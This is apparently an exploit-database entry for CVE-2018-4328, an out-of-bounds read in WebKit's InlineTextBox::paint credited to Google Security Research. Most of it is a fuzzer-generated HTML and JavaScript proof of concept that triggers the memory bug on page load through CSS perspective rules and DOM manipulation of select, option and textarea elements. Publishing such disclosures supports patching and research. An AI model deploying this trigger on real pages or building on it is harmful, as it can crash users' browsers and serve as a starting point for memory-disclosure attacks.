WebKit - 'WebCore::InlineTextBox::paint' Out-of-Bounds Read

<style>
* { -webkit-logical-width: 1px; -webkit-perspective: 1px; }
</style>
<script>
function jsfuzzer() {
var htmlvar00011 = document.getElementById("htmlvar00011");
var htmlvar00019 = document.getElementById("htmlvar00019");
var htmlvar00049 = document.getElementById("htmlvar00049");
var htmlvar00005 = document.getElementById("htmlvar00005");
document.documentElement.appendChild(htmlvar00019);
htmlvar00004.insertAdjacentHTML("beforeBegin",'<optgroup id="htmlvar00005"><option>1</option></optgroup>');
htmlvar00004.options.add(htmlvar00023);
htmlvar00011.appendChild(htmlvar00044);
document.body.insertAdjacentHTML("beforeBegin",'<track id="htmlvar00003">aaaaaaaa<select><textarea></textarea>');
document.execCommand("styleWithCSS", false, false);
document.getElementById('htmlvar00003').appendChild(htmlvar00049);
document.body.style.cssFloat = "right";
htmlvar00011.selected = true;
}
</script>
<body onload=jsfuzzer()>
<select id="htmlvar00004" dir="rtl">
<option id="htmlvar00011">oH{I</option>
</select>
</body>
<div id="htmlvar00019">
<h3>
<option id="htmlvar00023" selected="selected">H;<%/IXwS1S:tOT[</option>
<div id="htmlvar00044">
<h2>j3ci</h2>
<textarea id="htmlvar00049">p85_0u</textarea>

EKU-ID: 8005	CVE: 2018-4328	OSVDB-ID:
Author: Google Security Research	Published: 2018-09-26	Verified:
Download:

WebKit - 'WebCore::InlineTextBox::paint' Out-of-Bounds Read

Rating